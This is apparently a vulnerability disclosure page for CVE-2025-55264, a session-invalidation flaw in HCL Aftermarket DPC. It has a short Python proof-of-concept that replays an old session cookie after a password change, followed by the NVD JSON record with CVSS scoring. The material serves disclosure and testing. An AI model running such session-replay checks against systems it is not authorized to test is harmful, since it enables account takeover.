CVE-2025-55264

# This is a conceptual PoC to demonstrate the session invalidation issue. import requests target_url = "https://target-hcl-dpc-instance.com" login_endpoint = f"{target_url}/login" change_pwd_endpoint = f"{target_url}/account/change-password" dashboard_endpoint = f"{target_url}/dashboard" s = requests.Session() # Step 1: Attacker obtains a session (Simulated login) print("[*] Logging in to get session cookie...") creds = {"username": "victim", "password": "OldPassword123!"} r = s.post(login_endpoint, data=creds) victim_cookie = s.cookies.get_dict() # Step 2: User changes password (Simulated) print("[*] User changing password...") new_creds = {"old_password": "OldPassword123!", "new_password": "NewPassword456!"} r_change = s.post(change_pwd_endpoint, data=new_creds) # Step 3: Attacker reuses the OLD cookie print("[*] Attacker trying to access dashboard with OLD cookie...") attacker_session = requests.Session() attacker_session.cookies.update(victim_cookie) r_check = attacker_session.get(dashboard_endpoint) if r_check.status_code == 200 and "Welcome" in r_check.text: print("[!] VULNERABLE: Old session is still active after password change!") else: print("[-] SECURE: Session invalidated.")

{"cve": {"id": "CVE-2025-55264", "sourceIdentifier": "[email protected]", "published": "2026-03-26T14:16:08.157", "lastModified": "2026-03-26T19:52:55.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL Aftermarket DPC is affected by Failure to Invalidate Session on Password Change will allow attacker to access to a session, then they can maintain control over the account despite the password change leading to account takeover."}, {"lang": "es", "value": "HCL Aftermarket DPC se ve afectado por un Fallo al invalidar la sesión al cambiar la contraseña, lo que permitirá al atacante acceder a una sesión, entonces podrán mantener el control sobre la cuenta a pesar del cambio de contraseña, lo que lleva a la toma de control de la cuenta."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:aftermarket_cloud:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "C71E5E64-ED4C-4763-8A74-5F9DDCFD13DA"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0129793", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}